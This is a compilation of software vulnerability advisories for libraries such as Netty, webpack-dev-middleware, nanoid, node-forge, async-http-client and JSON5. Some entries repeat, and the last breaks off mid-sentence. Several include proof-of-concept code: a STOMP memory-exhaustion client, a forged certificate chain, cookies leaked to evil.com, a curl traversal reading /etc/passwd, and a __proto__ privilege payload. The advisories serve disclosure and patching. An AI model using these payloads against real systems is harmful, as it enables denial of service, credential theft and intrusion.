### Summary An attacker can cause Denial of Service by sending a specially crafted malicious XML payload (e.g., repeated `</` characters) to a Netty server utilizing XmlFrameDecoder, causing the server's EventLoop thread to exhaust CPU resources and become unresponsive. ### Details `io.netty.handler.codec.xml.XmlFrameDecoder` suffers from a vulnerability resulting in CPU exhaustion. When `<` followed by `/` is encountered, the decoder scans the remaining buffer for a closing `>`. Because the parser state is not saved between `decode()` invocations, an attacker can trickle-feed a payload of `</` characters. This forces the decoder to repeatedly rescan the entire accumulated buffer. A 1MB `maxFrameLength` is enough to completely hang a server's thread while it loops endlessly. ### Impact Denial of Service via CPU Exhaustion. Any application utilizing Netty's XmlFrameDecoder is impacted. An unauthenticated remote attacker can exploit this flaw by sending a modest amount of malformed XML data to an exposed port.
### Impact A vulnerability in compression `< 1.8.2` allows an attacker to trigger a Denial of Service (DoS) by disconnecting while a compressed response is being sent. When the client aborts the connection before the response finishes, the zlib stream created to compress that response is never destroyed, so each aborted compressed response leaks its native zlib memory. Repeated aborted requests can exhaust available memory. All applications using compression are affected. ### Patches Users should upgrade to `1.8.2`. ### Workarounds None.
### Summary The StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, allowing an attacker to cause an OutOfMemoryError, leading to a Denial of Service. ### Details `io.netty.handler.codec.stomp.StompSubframeDecoder` implements the STOMP protocol. The `maxLineLength` parameter restricts the length of individual header lines, but there is no mechanism to limit the total number of headers in a single STOMP frame. An attacker can send a large number of short headers (e.g., `a: 1\n`), which are accumulated in memory inside the `DefaultStompHeadersSubframe` until the JVM throws an OutOfMemoryError. ### PoC Run the server with `-Xmx256m` ```java public final class ServerApp { public static void main(String[] args) throws Exception { EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory()); try { ChannelFuture serverFuture = new ServerBootstrap() .group(group) .channel(NioServerSocketChannel.class) .childHandler(new StompSubframeDecoder()) .bind(8080) .sync(); serverFuture.channel().closeFuture().sync(); } finally { group.shutdownGracefully(); } } } ``` ```java public final class ClientApp { public static void main(String[] args) throws Exception { try (Socket socket = new Socket("127.0.0.1", 8080)) { OutputStream out = socket.getOutputStream(); out.write("CONNECT\n".getBytes(StandardCharsets.UTF_8)); StringBuilder sb = new StringBuilder(); for (int i = 0; i < 1000; i++) { sb.append("a:1\n"); } byte[] bulkHeaders = sb.toString().getBytes(StandardCharsets.UTF_8); for (int i = 1; i <= 50_000; i++) { out.write(bulkHeaders); } } catch (Exception e) { e.printStackTrace(); } } } ``` ### Impact Denial of Service: An attacker can easily exhaust the server's memory by sending a single malicious STOMP message. Any server exposing a STOMP endpoint based on StompSubframeDecoder is vulnerable to DoS.
SslClientHelloHandler.decode() reads the 24-bit TLS handshake length and, when the ClientHello does not fit in the first record, eagerly allocates `ctx.alloc().buffer(handshakeLength)` (line 161). The guard at line 140 is `handshakeLength > maxClientHelloLength && maxClientHelloLength != 0`, and the commonly-used SniHandler/AbstractSniHandler constructors (SniHandler(Mapping), SniHandler(AsyncMapping), AbstractSniHandler()) pass maxClientHelloLength=0 and handshakeTimeoutMillis=0, so the length guard is disabled and no timeout is scheduled. A 16 MiB request exceeds the default pooled chunk size and becomes a huge/unpooled allocation performed immediately. The buffer is retained in the handler until the channel closes.
In Reactor Netty HTTP Server, versions 1.1.x prior to 1.1.13 and versions 1.0.x prior to 1.0.39, a malicious user can send a request using a specially crafted URL that can lead to a directory traversal attack. Specifically, an application is vulnerable if Reactor Netty HTTP Server is configured to serve static resources.
PHP through 7.1.11 enables potential SSRF in applications that accept an fsockopen or pfsockopen hostname argument with an expectation that the port number is constrained. Because a :port syntax is recognized, fsockopen will use the port number that is specified in the hostname argument, instead of the port number in the second argument of the function.
Prototype pollution attack when using _.zipObjectDeep in lodash before 4.17.20.
While an Apache Kafka cluster is being migrated from ZooKeeper mode to KRaft mode, in some cases ACLs will not be correctly enforced. Two preconditions are needed to trigger the bug: 1. The administrator decides to remove an ACL 2. The resource associated with the removed ACL continues to have two or more other ACLs associated with it after the removal. When those two preconditions are met, Kafka will treat the resource as if it had only one ACL associated with it after the removal, rather than the two or more that would be correct. The incorrect condition is cleared by removing all brokers in ZK mode, or by adding a new ACL to the affected resource. Once the migration is completed, there is no metadata loss (the ACLs all remain). The full impact depends on the ACLs in use. If only ALLOW ACLs were configured during the migration, the impact would be limited to availability impact. if DENY ACLs were configured, the impact could include confidentiality and integrity impact depending on the ACLs configured, as the DENY ACLs might be ignored due to this vulnerability during the migration period.
BCryptPasswordEncoder.matches(CharSequence,String) will incorrectly return true for passwords larger than 72 characters as long as the first 72 characters are the same.
Improper Authentication in Elasticsearch PKI realm can lead to user impersonation via specially crafted client certificates. A malicious actor would need to have such a crafted client certificate signed by a legitimate, trusted Certificate Authority.
Hostname verification in Apache ZooKeeper ZKTrustManager falls back to reverse DNS (PTR) when IP SAN validation fails, allowing attackers who control or spoof PTR records to impersonate ZooKeeper servers or clients with a valid certificate for the PTR name. It's important to note that attacker must present a certificate which is trusted by ZKTrustManager which makes the attack vector harder to exploit. Users are recommended to upgrade to version 3.8.6 or 3.9.5, which fixes this issue by introducing a new configuration option to disable reverse DNS lookup in client and quorum protocols.
When using an IPv6 allow-list for the Auth Proxy feature, it defaults to /32 addresses. Addresses specifying a mask explicitly are not affected; to mitigate easily, add the desired mask (usually /128) to the addresses. Only auth proxy is affected; Okta, SAML, LDAP, etc are unaffected here.
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. Versions on the 2.x branch prior to 2.15.0 and the 3.x branch prior to 3.0.10 leak `Cookie` headers to cross-origin redirect targets. When following a redirect to a different origin, the `propagatedHeaders()` method in `Redirect30xInterceptor.java` strips `Authorization` and `Proxy-Authorization` headers but does not strip the `Cookie` header, causing session cookies and other sensitive cookie values to be sent to attacker-controlled servers. Versions 2.15.0 and 3.0.10 patch the issue.
nanoid is a secure, URL-friendly, unique string ID generator for JavaScript. Prior to versions 3.3.12 and 5.1.11, the nanoid(size) function in index.js and index.cjs coerces the user-influenced size parameter to a signed 32-bit integer, allowing a value of 2147483648 to become -2147483648 and corrupt the process-wide CSPRNG poolOffset in fillPool(), which causes subsequent session tokens, CSRF tokens, API keys, and unique identifiers to become the deterministic string "uuuuuuuuuuuuuuuuuuuuu" until the process restarts. This issue is fixed in versions 3.3.12 and 5.1.11.
## Summary `pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. ## Technical Details In `lib/x509.js`, the `verifyCertificateChain()` function (around lines 3147-3199) has two conditional checks for CA authorization: 1. The `keyUsage` check (which includes a sub-check requiring `basicConstraints` to be present) is gated on `keyUsageExt !== null` 2. The `basicConstraints.cA` check is gated on `bcExt !== null` When a certificate has **neither** extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA. **RFC 5280 Section 6.1.4 step (k) requires:** > "If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE." The absence of `basicConstraints` should result in rejection, not acceptance. ## Proof of Concept ```javascript const forge = require('node-forge'); const pki = forge.pki; function generateKeyPair() { return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 }); } console.log('=== node-forge basicConstraints Bypass PoC ===\n'); // 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true) const rootKeys = generateKeyPair(); const rootCert = pki.createCertificate(); rootCert.publicKey = rootKeys.publicKey; rootCert.serialNumber = '01'; rootCert.validity.notBefore = new Date(); rootCert.validity.notAfter = new Date(); rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10); const rootAttrs = [ { name: 'commonName', value: 'Legitimate Root CA' }, { name: 'organizationName', value: 'PoC Security Test' } ]; rootCert.setSubject(rootAttrs); rootCert.setIssuer(rootAttrs); rootCert.setExtensions([ { name: 'basicConstraints', cA: true, critical: true }, { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true } ]); rootCert.sign(rootKeys.privateKey, forge.md.sha256.create()); // 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage // This certificate should NOT be allowed to sign other certificates const leafKeys = generateKeyPair(); const leafCert = pki.createCertificate(); leafCert.publicKey = leafKeys.publicKey; leafCert.serialNumber = '02'; leafCert.validity.notBefore = new Date(); leafCert.validity.notAfter = new Date(); leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5); const leafAttrs = [ { name: 'commonName', value: 'Non-CA Leaf Certificate' }, { name: 'organizationName', value: 'PoC Security Test' } ]; leafCert.setSubject(leafAttrs); leafCert.setIssuer(rootAttrs); // NO basicConstraints extension — NO keyUsage extension leafCert.sign(rootKeys.privateKey, forge.md.sha256.create()); // 3. Create a "victim" certificate signed by the leaf // This simulates an attacker using a non-CA cert to forge certificates const victimKeys = generateKeyPair(); const victimCert = pki.createCertificate(); victimCert.publicKey = victimKeys.publicKey; victimCert.serialNumber = '03'; victimCert.validity.notBefore = new Date(); victimCert.validity.notAfter = new Date(); victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1); const victimAttrs = [ { name: 'commonName', value: 'victim.example.com' }, { name: 'organizationName', value: 'Victim Corp' } ]; victimCert.setSubject(victimAttrs); victimCert.setIssuer(leafAttrs); victimCert.sign(leafKeys.privateKey, forge.md.sha256.create()); // 4. Verify the chain: root -> leaf -> victim const caStore = pki.createCaStore([rootCert]); try { const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]); console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result); console.log(' node-forge accepted a non-CA certificate as an intermediate CA!'); console.log(' This violates RFC 5280 Section 6.1.4.'); } catch (e) { console.log('[SECURE] Chain verification FAILED (expected): ' + e.message); } ``` **Results:** - Certificate with NO extensions: **ACCEPTED as CA** (vulnerable — violates RFC 5280) - Certificate with `basicConstraints.cA=false`: correctly rejected - Certificate with `keyUsage` (no `keyCertSign`): correctly rejected - Proper intermediate CA (control): correctly accepted ## Attack Scenario An attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for `attacker.com`) that lacks `basicConstraints` and `keyUsage` extensions can use it to sign certificates for ANY domain. Any application using node-forge's `verifyCertificateChain()` will accept the forged chain. This affects applications using node-forge for: - Custom PKI / certificate pinning implementations - S/MIME / PKCS#7 signature verification - IoT device certificate validation - Any non-native-TLS certificate chain verification ## CVE Precedent This is the same vulnerability class as: - **CVE-2014-0092** (GnuTLS) — certificate verification bypass - **CVE-2015-1793** (OpenSSL) — alternative chain verification bypass - **CVE-2020-0601** (Windows CryptoAPI) — crafted certificate acceptance ## Not a Duplicate This is distinct from: - CVE-2025-12816 (ASN.1 parser desynchronization — different code path) - CVE-2025-66030/66031 (DoS and integer overflow — different issue class) - GitHub issue #1049 (null subject/issuer — different malformation) ## Suggested Fix Add an explicit check for absent `basicConstraints` on non-leaf certificates: ```javascript // After the keyUsage check block, BEFORE the cA check: if(error === null && bcExt === null) { error = { message: 'Certificate is missing basicConstraints extension and cannot be used as a CA.', error: pki.certificateError.bad_certificate }; } ``` ## Disclosure Timeline - 2026-03-10: Report submitted via GitHub Security Advisory - 2026-06-08: 90-day coordinated disclosure deadline ## Credits Discovered and reported by Doruk Tan Ozturk ([@peaktwilight](https://github.com/peaktwilight)) — [doruk.ch](https://doruk.ch)
## Summary async-http-client leaks `Cookie` headers to cross-origin redirect targets. When following a redirect across a security boundary (different origin, or HTTPS→HTTP downgrade), the `propagatedHeaders()` method in `Redirect30xInterceptor.java` strips `Authorization` and `Proxy-Authorization` headers but does not strip `Cookie`, so session cookies and other sensitive cookie values are forwarded to the redirect target — which may be attacker-controlled. ## Details The vulnerability is in `client/src/main/java/org/asynchttpclient/netty/handler/intercept/Redirect30xInterceptor.java`. The caller computes `stripAuth` on each redirect: ```java boolean sameBase = request.getUri().isSameBase(newUri); boolean stripAuth = !sameBase || schemeDowngrade || stripAuthorizationOnRedirect; // ... requestBuilder.setHeaders(propagatedHeaders(request, realm, keepBody, stripAuth)); ``` `stripAuth` is `true` whenever the redirect crosses an origin, downgrades the scheme, or the caller opted in via `AsyncHttpClientConfig#isStripAuthorizationOnRedirect()`. In the vulnerable version, `propagatedHeaders()` only removes `Authorization` and `Proxy-Authorization` in that branch — `Cookie` is left untouched: ```java private static HttpHeaders propagatedHeaders(Request request, Realm realm, boolean keepBody, boolean stripAuthorization) { HttpHeaders headers = request.getHeaders() .remove(HOST) .remove(CONTENT_LENGTH); if (!keepBody) { headers.remove(CONTENT_TYPE); } if (stripAuthorization || (realm != null && (realm.getScheme() == AuthScheme.NTLM || realm.getScheme() == AuthScheme.SCRAM_SHA_256))) { headers.remove(AUTHORIZATION) .remove(PROXY_AUTHORIZATION); // BUG: COOKIE is not removed here, so cookies leak across the security boundary. } return headers; } ``` The companion test class `RedirectCredentialSecurityTest` covers `Authorization` / `Proxy-Authorization` stripping on cross-origin redirects and scheme downgrades, but has no coverage for `Cookie`, which is why the regression went unnoticed. ## Proof of concept ```java import org.asynchttpclient.*; AsyncHttpClient client = asyncHttpClient(); // trusted-api.com responds 302 -> https://evil.com Request request = new RequestBuilder("GET") .setUrl("https://trusted-api.com/endpoint") .setHeader("Cookie", "session=abc123; csrf=xyz789; api_key=secret") .setHeader("Authorization", "Bearer token123") .build(); client.executeRequest(request).get(); // Request seen by evil.com after the redirect: // Authorization: <stripped> // Cookie: session=abc123; csrf=xyz789; api_key=secret <-- leaked ``` ## Impact - **Session hijacking** — leaked session cookies allow impersonation. - **CSRF token theft** — CSRF tokens carried in cookies are disclosed. - **API key theft** — API keys stored in cookies are disclosed. - **Privacy** — tracking identifiers leak to third-party origins. Realistic attack paths: - Open-redirect in a trusted API endpoint. - Compromised CDN or API gateway injecting redirects. - MITM on a plaintext hop in the redirect chain. ## Fix Add `COOKIE` to the headers removed alongside `AUTHORIZATION` / `PROXY_AUTHORIZATION` on the security-boundary branch: ```java if (stripAuthorization) { headers.remove(AUTHORIZATION) .remove(PROXY_AUTHORIZATION) .remove(COOKIE); } else if (realm != null && (realm.getScheme() == AuthScheme.NTLM || realm.getScheme() == AuthScheme.SCRAM_SHA_256)) { headers.remove(AUTHORIZATION) .remove(PROXY_AUTHORIZATION); } ``` Note that the URI-scoped `CookieStore` will re-add any cookies that legitimately match the new target after `propagatedHeaders` returns, so legitimate cross-origin sessions tracked by the client are not broken. Fixed in **3.0.10** and **2.15.0** by commit [`3b0e3e9e`](https://github.com/AsyncHttpClient/async-http-client/commit/3b0e3e9e).
> [!IMPORTANT] > CVE-2026-76844 was assigned and published for this issue by VulnCheck on 2026-08-24 without prior coordination with the webpack maintainers or the OpenJS Foundation, which holds the CVE Numbering Authority scope for webpack projects. Neither the maintainers nor the OpenJS CNA were notified before publication, and no fix was available at that time. This advisory is the coordinated record produced by the webpack maintainers and the OpenJS Foundation CNA. ### Impact `webpack-dev-middleware` resolves a request to a local file in `getFilenameFromUrl`. When the configured `publicPath` has no trailing slash (for example `/assets`), a request that shares that prefix without being under it (for example `/assets../secret`) still passes the containment check, and the `..` guard does not catch it because it runs on the path before the `publicPath` prefix is stripped. The stripped remainder then escapes the configured output directory once joined, so an unauthenticated request can read files outside the output root. Applications serving `webpack-dev-middleware` (directly or via `webpack-dev-server`) with a `publicPath` that does not end in a slash are affected. A development server reachable on the network can be attacked with a single request and no victim interaction. ### Patches Patched in `webpack-dev-middleware` 8.3.0. There is no backport to the 5.x, 6.x, or 7.x lines; users on those lines should upgrade to 8.3.0 or later. ### Workarounds Configure `publicPath` with a trailing slash (for example `/assets/` instead of `/assets`), or upgrade to a patched version. ### References - [CVE-2024-29180](https://www.cve.org/CVERecord?id=CVE-2024-29180) ([GHSA-wr3j-pwj9-hqq6](https://github.com/webpack/webpack-dev-middleware/security/advisories/GHSA-wr3j-pwj9-hqq6)), the earlier path traversal in the same component that this issue bypasses.
BCryptPasswordEncoder.matches(CharSequence,String) will incorrectly return true for passwords larger than 72 characters as long as the first 72 characters are the same.
Versions of lodash prior to 4.17.19 are vulnerable to Prototype Pollution. The functions `pick`, `set`, `setWith`, `update`, `updateWith`, and `zipObjectDeep` allow a malicious user to modify the prototype of Object if the property identifiers are user-supplied. Being affected by this issue requires manipulating objects based on user-provided property values or arrays. This vulnerability causes the addition or modification of an existing property that will exist on all objects and may lead to Denial of Service or Code Execution under specific circumstances.
### Summary _The **webpack-dev-middleware** middleware does not validate the supplied URL address sufficiently before returning the local file. It is possible to access any file on the developer's machine._ ### Details The middleware can either work with the physical filesystem when reading the files or it can use a virtualized in-memory _memfs_ filesystem. If _writeToDisk_ configuration option is set to **true**, the physical filesystem is used: [https://github.com/webpack/webpack-dev-middleware/blob/7ed24e0b9f53ad1562343f9f517f0f0ad2a70377/src/utils/setupOutputFileSystem.js#L21](https://github.com/webpack/webpack-dev-middleware/blob/7ed24e0b9f53ad1562343f9f517f0f0ad2a70377/src/utils/setupOutputFileSystem.js#L21) The _**getFilenameFromUrl**_ method is used to parse URL and build the local file path. The public path prefix is stripped from the URL, and the **unsecaped** path suffix is appended to the _outputPath_: [https://github.com/webpack/webpack-dev-middleware/blob/7ed24e0b9f53ad1562343f9f517f0f0ad2a70377/src/utils/getFilenameFromUrl.js#L82](https://github.com/webpack/webpack-dev-middleware/blob/7ed24e0b9f53ad1562343f9f517f0f0ad2a70377/src/utils/getFilenameFromUrl.js#L82) As the URL is not unescaped and normalized automatically before calling the midlleware, it is possible to use _%2e_ and _%2f_ sequences to perform path traversal attack. ### PoC _A blank project can be created containing the following configuration file **webpack.config.js**:_ `module.exports = { devServer: { devMiddleware: { writeToDisk: true } } }; ` When started, it is possible to access any local file, e.g. _/etc/passwd_: `$ curl localhost:8080/public/..%2f..%2f..%2f..%2f../etc/passwd` ``` root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin ``` ### Impact The developers using _webpack-dev-server_ or _webpack-dev-middleware_ are affected by the issue. When the project is started, an attacker might access any file on the developer's machine and exfiltrate the content (e.g. password, configuration files, private source code, ...). If the development server is listening on a public IP address (or **0.0.0.0**), an attacker on the local network can access the local files without any interaction from the victim (direct connection to the port). If the server allows access from third-party domains (CORS, **_Allow-Access-Origin: *_** ), an attacker can send a malicious link to the victim. When visited, the client side script can connect to the local server and exfiltrate the local files. ### Recommendation The URL should be unescaped and normalized before any further processing.
### Summary An integer overflow in `nanoid(size)` permanently corrupts the process-wide CSPRNG pool, causing all subsequent ID generation to return the deterministic string `"uuuuuuuuuuuuuuuuuuuuu"`. Any application that passes user-influenced values to the `size` parameter loses all randomness guarantees for session tokens, CSRF tokens, and unique identifiers until process restart. ### Details `nanoid()` at [`index.js:101`](https://github.com/ai/nanoid/blob/main/index.js#L101) coerces the `size` parameter with `size |= 0`, which converts it to a signed 32-bit integer. When `size >= 2^31` (e.g., `2147483648`), this wraps to `-2147483648`. The negative value is passed to `fillPool()` ([`index.js:15`](https://github.com/ai/nanoid/blob/main/index.js#L15)): ```javascript function fillPool(bytes) { if (!pool || pool.length < bytes) { // false: pool exists, -2B < pool.length pool = Buffer.allocUnsafe(bytes * POOL_SIZE_MULTIPLIER) crypto.getRandomValues(pool) poolOffset = 0 } else if (poolOffset + bytes > pool.length) { // false: poolOffset + (-2B) < pool.length crypto.getRandomValues(pool) poolOffset = 0 } poolOffset += bytes // poolOffset += -2147483648 → deeply negative } ``` Neither branch triggers, so the pool is never refreshed. `poolOffset` becomes ~-2.1 billion. Subsequent `nanoid()` calls execute: ```javascript for (let i = poolOffset - size; i < poolOffset; i++) { id += scopedUrlAlphabet[pool[i] & 63] } ``` `pool[negative_index]` returns `undefined`. `undefined & 63` evaluates to `0`. `urlAlphabet[0]` is `'u'`. Every ID becomes `"uuuuuuuuuuuuuuuuuuuuu"`. The corruption is **persistent** — it affects all subsequent calls in the process until ~100 million calls eventually wrap `poolOffset` back to positive, or the process restarts. ### PoC ```javascript import { nanoid } from 'nanoid' // Step 1: Normal operation console.log(nanoid()) // e.g., "V1StGXR8_Z5jdHi6B-myT" // Step 2: Trigger overflow (e.g., from an API parameter) try { nanoid(2147483648) } catch(e) {} // Step 3: All subsequent IDs are deterministic console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu" console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu" console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu" // ... forever, process-wide ``` Run with: `node --experimental-vm-modules poc.mjs` Attack scenario: Any API endpoint that accepts a user-controlled length/size parameter (URL shortener slug length, configurable token size, etc.) and passes it to `nanoid(userInput)`. ### Impact **Complete loss of ID unpredictability and uniqueness, process-wide, from a single request.** - All session IDs, CSRF tokens, API keys, and database identifiers generated after the attack are identical and predictable - An attacker can predict all tokens issued to other users, enabling session hijacking and authentication bypass - The corruption is persistent (survives across requests) and affects all consumers of `nanoid` in the same process - No special privileges or preconditions required — a single unauthenticated request is sufficient - Affects any application that passes external input to the `size` parameter without validation
### Summary If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another's. ### Details HttpClientCodec pairs each inbound response with an outbound request by `queue.poll()` once per response, including for `1xx`. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message’s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset. Prerequisites - HTTP/1.1 pipelining - HEAD in the pipeline - The server sends 1xx ### PoC ```java @Test public void test() { EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec()); assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/1"))); ByteBuf request = channel.readOutbound(); request.release(); assertNull(channel.readOutbound()); assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, "/2"))); request = channel.readOutbound(); request.release(); assertNull(channel.readOutbound()); String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" + "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" + "HTTP/1.1 200 OK\r\n\r\n"; assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII))); // Response 1 HttpResponse response = channel.readInbound(); assertEquals(HttpResponseStatus.EARLY_HINTS, response.status()); LastHttpContent last = channel.readInbound(); assertEquals(0, last.content().readableBytes()); last.release(); // Response 2 response = channel.readInbound(); assertEquals(HttpResponseStatus.OK, response.status()); last = channel.readInbound(); assertEquals(0, last.content().readableBytes()); last.release(); // Response 3 FullHttpResponse response1 = channel.readInbound(); assertTrue(response1.decoderResult().isFailure()); assertEquals(0, response1.content().readableBytes()); response1.release(); assertFalse(channel.finish()); } ``` ### Impact Integrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.
All versions of package merge <2.1.1 are vulnerable to Prototype Pollution via _recursiveMerge .
Missing authorization in PostgreSQL logical decoding allows a non-superuser holding REPLICATION privilege to dlopen any file visible to the operating system account running the server, via the choice of logical decoding plugin. This in turn runs arbitrary code as that account. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.
Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. Even though the security vulnerability is fixed in version 32.0.0, we recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows.
A session fixation issue was discovered in the SAML adapters provided by Keycloak. The session ID and JSESSIONID cookie are not changed at login time, even when the turnOffChangeSessionIdOnLogin option is configured. This flaw allows an attacker who hijacks the current session before authentication to trigger session fixation.
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\r\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
The `parse` method of the JSON5 library before and including version `2.2.1` does not restrict parsing of keys named `__proto__`, allowing specially crafted strings to pollute the prototype of the resulting object. This vulnerability pollutes the prototype of the object returned by `JSON5.parse` and not the global Object prototype, which is the commonly understood definition of Prototype Pollution. However, polluting the prototype of a single object can have significant security impact for an application if the object is later used in trusted operations. ## Impact This vulnerability could allow an attacker to set arbitrary and unexpected keys on the object returned from `JSON5.parse`. The actual impact will depend on how applications utilize the returned object and how they filter unwanted keys, but could include denial of service, cross-site scripting, elevation of privilege, and in extreme cases, remote code execution. ## Mitigation This vulnerability is patched in json5 v2.2.2 and later. A patch has also been backported for json5 v1 in versions v1.0.2 and later. ## Details Suppose a developer wants to allow users and admins to perform some risky operation, but they want to restrict what non-admins can do. To accomplish this, they accept a JSON blob from the user, parse it using `JSON5.parse`, confirm that the provided data does not set some sensitive keys, and then performs the risky operation using the validated data: ```js const JSON5 = require('json5'); const doSomethingDangerous = (props) => { if (props.isAdmin) { console.log('Doing dangerous thing as admin.'); } else { console.log('Doing dangerous thing as user.'); } }; const secCheckKeysSet = (obj, searchKeys) => { let searchKeyFound = false; Object.keys(obj).forEach((key) => { if (searchKeys.indexOf(key) > -1) { searchKeyFound = true; } }); return searchKeyFound; }; const props = JSON5.parse('{"foo": "bar"}'); if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) { doSomethingDangerous(props); // "Doing dangerous thing as user." } else { throw new Error('Forbidden...'); } ``` If the user attempts to set the `isAdmin` key, their request will be rejected: ```js const props = JSON5.parse('{"foo": "bar", "isAdmin": true}'); if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) { doSomethingDangerous(props); } else { throw new Error('Forbidden...'); // Error: Forbidden... } ``` However, users can instead set the `__proto__` key to `{"isAdmin": true}`. `JSON5` will parse this key and will set the `isAdmin` key on the prototype of the returned object, allowing the user to bypass the security check and run their request as an admin: ```js const props = JSON5.parse('{"foo": "bar", "__proto__": {"isAdmin": true}}'); if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) { doSomethingDangerous(props); // "Doing dangerous thing as admin." } else { throw new Error('Forbidden...'); } ```
ACE vulnerability in conditional configuration file processing by QOS.CH logback-core up to and including version 1.5.18 in Java applications, allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution. A successful attack requires the presence of Janino library and Spring Framework to be present on the user's class path. In addition, the attacker must have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privilege.
cookie is a basic HTTP cookie parser and serializer for HTTP servers. The cookie name could be used to set other fields of the cookie, resulting in an unexpected cookie value. A similar escape can be used for path and domain, which could be abused to alter other fields of the cookie. Upgrade to 0.7.0, which updates the validation for name, path, and domain.
The _.unset and _.omit functions in Lodash are vulnerable to prototype pollution. An attacker can pass crafted paths which cause Lodash to delete methods from global prototypes. The issue permits deletion of properties but does not allow overwriting their original behavior. The issue is patched from 4.17.23 to 4.18.0 depending on the package: lodash, lodash-es, and lodash-amd in 4.17.23, and the standalone lodash.unset and lodash.omit packages in 4.18.0.
Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients. In netty-codec-compression versions 4.1.124.Final and below, and netty-codec versions 4.2.4.Final and below, when supplied with specially crafted input, BrotliDecoder and certain other decompression decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is fixed in versions 4.1.125.Final of netty-codec and 4.2.5.Final of netty-codec-compression.
The Vert.x Web static handler component cache can be manipulated to deny the access to static files served by the handler using specifically crafted request URI. The issue comes from an improper implementation of the C. rule of section 5.2.4 of RFC3986 and is fixed in Vert.x Core component (used by Vert.x Web): https://github.com/eclipse-vertx/vert.x/pull/5895 Steps to reproduce Given a file served by the static handler, craft an URI that introduces a string like bar%2F..%2F after the last / char to deny the access to the URI with an HTTP 404 response. For example https://example.com/foo/index.html can be denied with https://example.com/foo/bar%2F..%2Findex.html Mitgation Disabling Static Handler cache fixes the issue. StaticHandler staticHandler = StaticHandler.create().setCachingEnabled(false);
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. Prior to 3.0.13 and 2.16.1, ThreadSafeCookieStore validates Domain attributes with domain matching but does not reject public suffixes. A host beneath a suffix such as co.uk can set a cookie for that suffix, after which the shared cookie store sends it to unrelated hosts under the suffix. This can inject or overwrite session-relevant cookie values across origins. This issue is fixed in versions 3.0.13 and 2.16.1.
The non-blocking (asynchronous) JSON parser in jackson-core does not enforce the maxNumberLength constraint defined in StreamReadConstraints (default: 1000 characters). An attacker able to submit JSON to an application that uses the async parser API can supply a number token of arbitrary length, leading to excessive memory allocation and potential CPU exhaustion, resulting in a denial of service. The synchronous parser enforces this limit correctly, so the constraint is applied inconsistently depending on which parsing API the application uses. Root cause: the async parsing path in NonBlockingUtf8JsonParserBase and related classes never invokes the number length validation methods. Number parsing methods such as _finishNumberIntegralPart() accumulate digits into the TextBuffer without any length check, then call _valueComplete() to finalize the token. _valueComplete() does not call resetInt() or resetFloat(), which are the methods in ParserBase where validateIntegerLength() and validateFPLength() are performed. Because that validation step is skipped, maxNumberLength is never enforced on the async code path. Impact: an attacker sending a JSON document containing an arbitrarily long number to an application using the async parser (for example a Spring WebFlux or other reactive application) can cause unbounded allocation in the TextBuffer and 